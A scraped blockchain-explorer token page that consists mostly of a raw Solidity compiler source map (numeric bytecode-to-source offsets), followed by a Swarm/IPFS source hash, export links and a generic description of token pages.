;;16155:474:0:o;12718:255::-;12773:20;12805:11;;12796:6;:20;;;;:::i;:::-;12773:43;-1:-1:-1;12827:23:0;12853:21;12773:43;12853:6;:21;:::i;:::-;12885:10;;:33;;12827:47;;-1:-1:-1;;;;;;12885:10:0;;:33;;;;;12905:12;;12885:10;:33;:10;:33;12905:12;12885:10;:33;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12929:10:0;;:36;;-1:-1:-1;;;;;12929:10:0;;;;:36;;;;;12949:15;;12929:10;:36;:10;:36;12949:15;12929:10;:36;;;;;;;;;;;;;;;;;;;16688:349;16852:6;16847:51;;16875:11;:9;:11::i;:::-;16908:47;16929:6;16937:9;16948:6;16908:20;:47::i;:::-;16971:6;16966:64;;17006:12;17963:21;;17950:10;:34;18012:16;;17995:14;:33;17909:127;10376:164;10418:7;10439:15;10456;10475:19;:17;:19::i;:::-;10438:56;;-1:-1:-1;10438:56:0;-1:-1:-1;10512:20:0;10438:56;;10512:11;:20::i;:::-;10505:27;;;;10376:164;:::o;1976:132::-;2034:7;2061:39;2065:1;2068;2061:39;;;;;;;;;;;;;;;;;:3;:39::i;11510:232::-;11554:10;;:15;:38;;;;-1:-1:-1;11573:14:0;;:19;11554:38;11550:51;;;11510:232::o;11550:51::-;11635:10;;;11611:21;:34;11675:14;;;11656:16;:33;-1:-1:-1;11691:14:0;;;;11716:18;11510:232::o;17215:686::-;17365:15;17395:23;17433:12;17460:23;17498:12;17525:13;17552:19;17563:7;17552:10;:19::i;:::-;17350:221;;;;;;;;;;;;17577:33;17592:6;17600:9;17577:14;:33::i;:::-;17573:72;;;17612:33;17627:6;17635:9;17612:14;:33::i;:::-;-1:-1:-1;;;;;17674:15:0;;;;;;:7;:15;;;;;;:28;;17694:7;17674:19;:28::i;:::-;-1:-1:-1;;;;;17656:15:0;;;;;;;:7;:15;;;;;;:46;;;;17734:18;;;;;;;:39;;17757:15;17734:22;:39::i;:::-;-1:-1:-1;;;;;17713:18:0;;;;;;:7;:18;;;;;:60;17784:18;17796:5;17784:11;:18::i;:::-;17804:29;17822:4;17828;17804:17;:29::i;:::-;17866:9;-1:-1:-1;;;;;17849:44:0;17858:6;-1:-1:-1;;;;;17849:44:0;;17877:15;17849:44;;;;160:25:1;;148:2;133:18;;14:177;17849:44:0;;;;;;;;17339:562;;;;;;17215:686;;;:::o;10548:257::-;10646:7;;10599;;;;5014:16;10714:20;10646:7;5014:16;10714:11;:20::i;:::-;10704:7;:30;10700:61;;;-1:-1:-1;;10744:7:0;;;5014:16;;-1:-1:-1;10548:257:0;-1:-1:-1;10548:257:0:o;10700:61::-;10780:7;;10789;;-1:-1:-1;10548:257:0;-1:-1:-1;10548:257:0:o;1747:223::-;1867:7;1902:12;1895:5;1887:28;;;;-1:-1:-1;;;1887:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1926:9:0;1938:5;1942:1;1938;:5;:::i;11752:623::-;11852:7;11874;11896;11918;11940;11962;11998:23;12023:12;12037:13;12067:48;12079:7;12088:10;;12100:14;;12067:11;:48::i;:::-;11997:118;;;;;;12126:19;12148:10;:8;:10::i;:::-;12126:32;;12170:15;12187:23;12212:12;12241:46;12253:7;12262:4;12268:5;12275:11;12241;:46::i;:::-;12169:118;;-1:-1:-1;12169:118:0;-1:-1:-1;12169:118:0;-1:-1:-1;12338:15:0;;-1:-1:-1;12355:4:0;;-1:-1:-1;12361:5:0;;-1:-1:-1;;;;;11752:623:0;;;;;;;:::o;17045:162::-;17164:11;;17127:4;;-1:-1:-1;;;;;17151:24:0;;;17164:11;;17151:24;:48;;;;-1:-1:-1;17189:10:0;;-1:-1:-1;;;;;17179:20:0;;;17189:10;;17179:20;17144:55;;17045:162;;;;:::o;7676:231::-;-1:-1:-1;;;;;7758:22:0;;;;;;;:11;:22;;;;;;;;:30;;;;;;;;;;-1:-1:-1;;;7754:146:0;;;7825:46;7834:9;7845:6;-1:-1:-1;;7825:8:0;:46::i;:::-;7887:1;7873:11;:15;7754:146;7676:231;;:::o;1353:136::-;1411:7;1438:43;1442:1;1445;1438:43;;;;;;;;;;;;;;;;;:3;:43::i;938:179::-;996:7;;1028:5;1032:1;1028;:5;:::i;:::-;1016:17;;1057:1;1052;:6;;1044:46;;;;-1:-1:-1;;;1044:46:0;;12781:2:1;1044:46:0;;;12763:21:1;12820:2;12800:18;;;12793:30;12859:29;12839:18;;;12832:57;12906:18;;1044:46:0;12579:351:1;11289:213:0;11344:19;11366:10;:8;:10::i;:::-;11344:32;-1:-1:-1;11387:13:0;11403:22;:5;11344:32;11403:9;:22::i;:::-;11477:4;11461:22;;;;:7;:22;;;;;;11387:38;;-1:-1:-1;11461:33:0;;11387:38;11461:26;:33::i;:::-;11452:4;11436:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;11289:213:0:o;12981:163::-;13065:7;;:17;;13077:4;13065:11;:17::i;:::-;13055:7;:27;13111:15;;:25;;13131:4;13111:19;:25::i;:::-;13093:15;:43;-1:-1:-1;;12981:163:0:o;10813:467::-;10981:7;;;;11075:29;11100:3;11075:20;:7;11087;11075:11;:20::i;:::-;:24;;:29::i;:::-;11060:44;-1:-1:-1;11115:13:0;11131:28;11155:3;11131:19;:7;11143:6;11131:11;:19::i;:28::-;11115:44;-1:-1:-1;11170:23:0;11196:28;11115:44;11196:17;:7;11208:4;11196:11;:17::i;:::-;:21;;:28::i;:::-;11170:54;11260:4;;-1:-1:-1;11266:5:0;;-1:-1:-1;10813:467:0;;-1:-1:-1;;;;;10813:467:0:o;9834:534::-;10028:7;;;;10125:24;:7;10137:11;10125;:24::i;:::-;10107:42;-1:-1:-1;10160:12:0;10175:21;:4;10184:11;10175:8;:21::i;:::-;10160:36;-1:-1:-1;10207:13:0;10223:22;:5;10233:11;10223:9;:22::i;:::-;10207:38;-1:-1:-1;10256:23:0;10282:28;10207:38;10282:17;:7;10294:4;10282:11;:17::i;:28::-;10329:7;;;;-1:-1:-1;10355:4:0;;-1:-1:-1;9834:534:0;;-1:-1:-1;;;;;;;9834:534:0:o;1495:246::-;1553:7;1577:1;1582;1577:6;1573:47;;-1:-1:-1;1607:1:0;1600:8;;1573:47;1630:9;1642:5;1646:1;1642;:5;:::i;:::-;1630:17;-1:-1:-1;1675:1:0;1666:5;1670:1;1630:17;1666:5;:::i;:::-;:10;1658:56;;;;-1:-1:-1;;;1658:56:0;;13310:2:1;1658:56:0;;;13292:21:1;13349:2;13329:18;;;13322:30;13388:34;13368:18;;;13361:62;-1:-1:-1;;;13439:18:1;;;13432:31;13480:19;;1658:56:0;13108:397:1;196:548;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2505:180::-;2564:6;2617:2;2605:9;2596:7;2592:23;2588:32;2585:52;;;2633:1;2630;2623:12;2585:52;-1:-1:-1;2656:23:1;;2505:180;-1:-1:-1;2505:180:1:o;2690:247::-;2749:6;2802:2;2790:9;2781:7;2777:23;2773:32;2770:52;;;2818:1;2815;2808:12;2770:52;2857:9;2844:23;2876:31;2901:5;2876:31;:::i;2942:782::-;3034:6;3042;3050;3103:2;3091:9;3082:7;3078:23;3074:32;3071:52;;;3119:1;3116;3109:12;3071:52;3159:9;3146:23;3188:18;3229:2;3221:6;3218:14;3215:34;;;3245:1;3242;3235:12;3215:34;3283:6;3272:9;3268:22;3258:32;;3328:7;3321:4;3317:2;3313:13;3309:27;3299:55;;3350:1;3347;3340:12;3299:55;3390:2;3377:16;3416:2;3408:6;3405:14;3402:34;;;3432:1;3429;3422:12;3402:34;3487:7;3480:4;3470:6;3467:1;3463:14;3459:2;3455:23;3451:34;3448:47;3445:67;;;3508:1;3505;3498:12;3445:67;3539:4;3531:13;;;;-1:-1:-1;3563:6:1;-1:-1:-1;;3604:20:1;;3591:34;3661:13;;3654:21;3644:32;;3634:60;;3690:1;3687;3680:12;3634:60;3713:5;3703:15;;;2942:782;;;;;:::o;3937:388::-;4005:6;4013;4066:2;4054:9;4045:7;4041:23;4037:32;4034:52;;;4082:1;4079;4072:12;4034:52;4121:9;4108:23;4140:31;4165:5;4140:31;:::i;:::-;4190:5;-1:-1:-1;4247:2:1;4232:18;;4219:32;4260:33;4219:32;4260:33;:::i;:::-;4312:7;4302:17;;;3937:388;;;;;:::o;4330:356::-;4532:2;4514:21;;;4551:18;;;4544:30;4610:34;4605:2;4590:18;;4583:62;4677:2;4662:18;;4330:356::o;5046:127::-;5107:10;5102:3;5098:20;5095:1;5088:31;5138:4;5135:1;5128:15;5162:4;5159:1;5152:15;5178:127;5239:10;5234:3;5230:20;5227:1;5220:31;5270:4;5267:1;5260:15;5294:4;5291:1;5284:15;5310:135;5349:3;5370:17;;;5367:43;;5390:18;;:::i;:::-;-1:-1:-1;5437:1:1;5426:13;;5310:135::o;5450:251::-;5520:6;5573:2;5561:9;5552:7;5548:23;5544:32;5541:52;;;5589:1;5586;5579:12;5541:52;5621:9;5615:16;5640:31;5665:5;5640:31;:::i;6627:306::-;6715:6;6723;6731;6784:2;6772:9;6763:7;6759:23;6755:32;6752:52;;;6800:1;6797;6790:12;6752:52;6829:9;6823:16;6813:26;;6879:2;6868:9;6864:18;6858:25;6848:35;;6923:2;6912:9;6908:18;6902:25;6892:35;;6627:306;;;;;:::o;10162:125::-;10227:9;;;10248:10;;;10245:36;;;10261:18;;:::i;10696:128::-;10763:9;;;10784:11;;;10781:37;;;10798:18;;:::i;11372:980::-;11634:4;11682:3;11671:9;11667:19;11713:6;11702:9;11695:25;11739:2;11777:6;11772:2;11761:9;11757:18;11750:34;11820:3;11815:2;11804:9;11800:18;11793:31;11844:6;11879;11873:13;11910:6;11902;11895:22;11948:3;11937:9;11933:19;11926:26;;11987:2;11979:6;11975:15;11961:29;;12008:1;12018:195;12032:6;12029:1;12026:13;12018:195;;;12097:13;;-1:-1:-1;;;;;12093:39:1;12081:52;;12188:15;;;;12153:12;;;;12129:1;12047:9;12018:195;;;-1:-1:-1;;;;;;;12269:32:1;;;;12264:2;12249:18;;12242:60;-1:-1:-1;;;12333:3:1;12318:19;12311:35;12230:3;11372:980;-1:-1:-1;;;11372:980:1:o;12357:217::-;12397:1;12423;12413:132;;12467:10;12462:3;12458:20;12455:1;12448:31;12502:4;12499:1;12492:15;12530:4;12527:1;12520:15;12413:132;-1:-1:-1;12559:9:1;;12357:217::o;12935:168::-;13008:9;;;13039;;13056:15;;;13050:22;;13036:37;13026:71;;13077:18;;:::i
Swarm Source
ipfs://5aca52d1bcd7dc8ad840a3485482165b21ae6eb777b89086e4167b53803569a2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.